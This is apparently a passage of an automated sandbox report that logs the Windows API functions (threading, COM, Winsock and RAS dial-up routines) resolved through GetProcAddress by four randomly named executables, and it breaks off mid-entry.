"Qv9nk40.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000296) "Qv9nk40.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00000296) "cw8sM05.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002596) "cw8sM05.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00002596) "cw8sM05.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002596) "cw8sM05.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002596) "1va32uO2.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter SHGetInstanceExplorer (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter IsValidURL (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter SHStrDupW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSCreateAdapterFromPropertyStore (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PropVariantToBSTR (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter IUnknown_Set (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter ResolveDelayLoadedAPI (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter SendMessageTimeoutW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter AllowSetForegroundWindow (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001640) "1va32uO2.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001640) "4Du834Zv.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAConnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter recv (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeleteEntryW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDialW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasEnumEntriesW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetAutodialEnableW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetAutodialParamW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetConnectStatusW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetCredentialsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetEntryDialParamsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetErrorStringW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetHport (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetProjectionInfoW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetSubEntryHandleW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasHangUpW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetAutodialEnableW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetAutodialParamW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetCredentialsW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetOldPassword (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetCountryInfoW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasInvokeEapUI (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetEapUserDataW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetEntryPropertiesW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasValidateEntryNameW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasWriteSharedPbkOptions (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetAutodialAddressW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter DwEnumEntryDetails (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter TraceRegisterExA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter TracePrintfExA (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter QueryServiceStatus (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortClearStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasBundleClearStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasBundleClearStatisticsEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeviceEnum (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeviceGetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasFreeBuffer (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetBuffer (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDialMachineEventContext (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetDialMachineEventHandle (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetNdiswanDriverCaps (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasInitialize (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasInitializeNoWait (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortCancelReceive (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortEnum (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortGetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortGetFramingEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortGetStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasBundleGetStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortGetStatisticsEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasBundleGetStatisticsEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortReceive (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortReceiveEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortSend (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortGetBundle (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDevConfig (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDevConfigEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetDevConfig (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortClose (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortListen (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortConnectComplete (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortDisconnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRequestNotification (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortEnumProtocols (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortSetFraming (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortSetFramingEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetCachedCredentials (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDialParams (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetDialParams (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasCreateConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDestroyConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasConnectionEnum (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasAddConnectionPort (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasEnumConnectionPorts (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetConnectionParams (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetConnectionParams (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetConnectionUserData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetConnectionUserData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetPortUserData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetPortUserData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasAddNotification (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSignalNewConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasApplyPostConnectActions (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolStop (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolCallback (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolChangePassword (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolGetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolRetry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasProtocolStart (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortOpen (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasAllocateRoute (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasActivateRoute (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasActivateRouteEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeviceSetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeviceSetInfoSafe (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasDeviceConnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortSetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSendProtocolResultToRasman (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetEapInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcConnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcDisconnect (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetNumPortOpen (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRefConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetEapUIData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetEapUIData (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasFindPrerequisiteEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasPortOpenEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasLinkGetStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasConnectionGetStatistics (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetHportFromConnection (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRPCBind (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasReferenceCustomCount (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetHConnFromEntry (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDeviceName (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasEnableIpSec (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSetTunnelEndPoints (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasStartRasAutoIfRequired (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasStartProtocolRenegotiation (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasSendNotification (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetDeviceNameW (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasGetUnicodeDeviceName (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetVersion (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcPortEnum (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcDeviceEnum (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetDevConfig (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcPortGetInfo (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetInstalledProtocols (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetInstalledProtocolsEx (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetSystemDirectory (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter RasRpcGetUserPreferences (UID: 00000000-00003776) "4Du834Zv.exe" called "GetProcAddress" with a parameter 